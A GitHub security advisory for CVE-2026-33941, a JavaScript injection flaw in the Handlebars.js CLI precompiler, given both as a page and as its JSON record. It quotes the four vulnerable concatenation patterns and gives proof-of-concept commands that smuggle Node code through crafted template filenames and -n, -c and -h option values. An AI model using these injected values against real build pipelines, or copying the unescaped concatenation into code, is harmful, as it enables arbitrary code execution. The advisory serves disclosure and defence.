GHSA-XJPJ-3MR7-GCPF

Vulnerability from github – Published: 2026-03-27 18:22 – Updated: 2026-03-30 20:08
VLAI
Summary
Handlebars.js has JavaScript Injection in CLI Precompiler via Unescaped Names and Options
Details

Summary

The Handlebars CLI precompiler (bin/handlebars / lib/precompiler.js) concatenates user-controlled strings — template file names and several CLI options — directly into the JavaScript it emits, without any escaping or sanitization. An attacker who can influence template filenames or CLI arguments can inject arbitrary JavaScript that executes when the generated bundle is loaded in Node.js or a browser.

Description

lib/precompiler.js generates JavaScript source by string-interpolating several values directly into the output. Four distinct injection points exist:

1. Template name injection

// Vulnerable code pattern
output += 'templates["' + template.name + '"] = template(...)';

template.name is derived from the file system path. A filename containing " or ']; breaks out of the string literal and injects arbitrary JavaScript.

2. Namespace injection (-n / --namespace)

// Vulnerable code pattern
output += 'var templates = ' + opts.namespace + ' = ' + opts.namespace + ' || {};';

opts.namespace is emitted as raw JavaScript. Anything after a ; in the value becomes an additional JavaScript statement.

3. CommonJS path injection (-c / --commonjs)

// Vulnerable code pattern
output += 'var Handlebars = require("' + opts.commonjs + '");';

opts.commonjs is interpolated inside double quotes with no escaping, allowing " to close the string and inject further code.

4. AMD path injection (-h / --handlebarPath)

// Vulnerable code pattern
output += "define(['" + opts.handlebarPath + "handlebars.runtime'], ...)";

opts.handlebarPath is interpolated inside single quotes, allowing ' to close the array element.

All four injection points result in code that executes when the generated bundle is require()d or loaded in a browser.

Proof of Concept

Template name vector (creates a file pwned on disk):

mkdir -p templates
printf 'Hello' > "templates/evil'] = (function(){require(\"fs\").writeFileSync(\"pwned\",\"1\")})(); //.handlebars"

node bin/handlebars templates -o out.js
node -e 'require("./out.js")'  # Executes injected code, creates ./pwned

Namespace vector:

node bin/handlebars templates -o out.js \
  -n "App.ns; require('fs').writeFileSync('pwned2','1'); //"
node -e 'require("./out.js")'

CommonJS vector:

node bin/handlebars templates -o out.js \
  -c 'handlebars"); require("fs").writeFileSync("pwned3","1"); //'
node -e 'require("./out.js")'

AMD vector:

node bin/handlebars templates -o out.js -a \
  -h "'); require('fs').writeFileSync('pwned4','1'); // "
node -e 'require("./out.js")'

Workarounds

  • Validate all CLI inputs before invoking the precompiler. Reject filenames and option values that contain characters with JavaScript string-escaping significance (", ', ;, etc.).
  • Use a fixed, trusted namespace string passed via a configuration file rather than command-line arguments in automated pipelines.
  • Run the precompiler in a sandboxed environment (container with no write access to sensitive paths) to limit the impact of successful exploitation.
  • Audit template filenames in any repository or package that is consumed by an automated build pipeline.
Severity
8.2 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.7.8"
      },
      "package": {
        "ecosystem": "npm",
        "name": "handlebars"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.7.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33941"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116",
      "CWE-79",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-27T18:22:10Z",
    "nvd_published_at": "2026-03-27T22:16:21Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe Handlebars CLI precompiler (`bin/handlebars` / `lib/precompiler.js`) concatenates user-controlled strings \u2014 template file names and several CLI options \u2014 directly into the JavaScript it emits, without any escaping or sanitization. An attacker who can influence template filenames or CLI arguments can inject arbitrary JavaScript that executes when the generated bundle is loaded in Node.js or a browser.\n\n## Description\n\n`lib/precompiler.js` generates JavaScript source by string-interpolating several values directly into the output. Four distinct injection points exist:\n\n### 1. Template name injection\n\n```javascript\n// Vulnerable code pattern\noutput += \u0027templates[\"\u0027 + template.name + \u0027\"] = template(...)\u0027;\n```\n\n`template.name` is derived from the file system path. A filename containing `\"` or `\u0027];` breaks out of the string literal and injects arbitrary JavaScript.\n\n### 2. Namespace injection (`-n` / `--namespace`)\n\n```javascript\n// Vulnerable code pattern\noutput += \u0027var templates = \u0027 + opts.namespace + \u0027 = \u0027 + opts.namespace + \u0027 || {};\u0027;\n```\n\n`opts.namespace` is emitted as raw JavaScript. Anything after a `;` in the value becomes an additional JavaScript statement.\n\n### 3. CommonJS path injection (`-c` / `--commonjs`)\n\n```javascript\n// Vulnerable code pattern\noutput += \u0027var Handlebars = require(\"\u0027 + opts.commonjs + \u0027\");\u0027;\n```\n\n`opts.commonjs` is interpolated inside double quotes with no escaping, allowing `\"` to close the string and inject further code.\n\n### 4. AMD path injection (`-h` / `--handlebarPath`)\n\n```javascript\n// Vulnerable code pattern\noutput += \"define([\u0027\" + opts.handlebarPath + \"handlebars.runtime\u0027], ...)\";\n```\n\n`opts.handlebarPath` is interpolated inside single quotes, allowing `\u0027` to close the array element.\n\nAll four injection points result in code that executes when the generated bundle is `require()`d or loaded in a browser.\n\n## Proof of Concept\n\n**Template name vector (creates a file `pwned` on disk):**\n\n```bash\nmkdir -p templates\nprintf \u0027Hello\u0027 \u003e \"templates/evil\u0027] = (function(){require(\\\"fs\\\").writeFileSync(\\\"pwned\\\",\\\"1\\\")})(); //.handlebars\"\n\nnode bin/handlebars templates -o out.js\nnode -e \u0027require(\"./out.js\")\u0027  # Executes injected code, creates ./pwned\n```\n\n**Namespace vector:**\n\n```bash\nnode bin/handlebars templates -o out.js \\\n  -n \"App.ns; require(\u0027fs\u0027).writeFileSync(\u0027pwned2\u0027,\u00271\u0027); //\"\nnode -e \u0027require(\"./out.js\")\u0027\n```\n\n**CommonJS vector:**\n\n```bash\nnode bin/handlebars templates -o out.js \\\n  -c \u0027handlebars\"); require(\"fs\").writeFileSync(\"pwned3\",\"1\"); //\u0027\nnode -e \u0027require(\"./out.js\")\u0027\n```\n\n**AMD vector:**\n\n```bash\nnode bin/handlebars templates -o out.js -a \\\n  -h \"\u0027); require(\u0027fs\u0027).writeFileSync(\u0027pwned4\u0027,\u00271\u0027); // \"\nnode -e \u0027require(\"./out.js\")\u0027\n```\n\n## Workarounds\n\n- **Validate all CLI inputs** before invoking the precompiler. Reject filenames and option values  that contain characters with JavaScript string-escaping significance (`\"`, `\u0027`, `;`, etc.).\n- **Use a fixed, trusted namespace string** passed via a configuration file rather than  command-line arguments in automated pipelines.\n- **Run the precompiler in a sandboxed environment** (container with no write access to sensitive  paths) to limit the impact of successful exploitation.\n- **Audit template filenames** in any repository or package that is consumed by an automated  build pipeline.",
  "id": "GHSA-xjpj-3mr7-gcpf",
  "modified": "2026-03-30T20:08:52Z",
  "published": "2026-03-27T18:22:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-xjpj-3mr7-gcpf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33941"
    },
    {
      "type": "WEB",
      "url": "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/handlebars-lang/handlebars.js"
    },
    {
      "type": "WEB",
      "url": "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Handlebars.js has JavaScript Injection in CLI Precompiler via Unescaped Names and Options"
}


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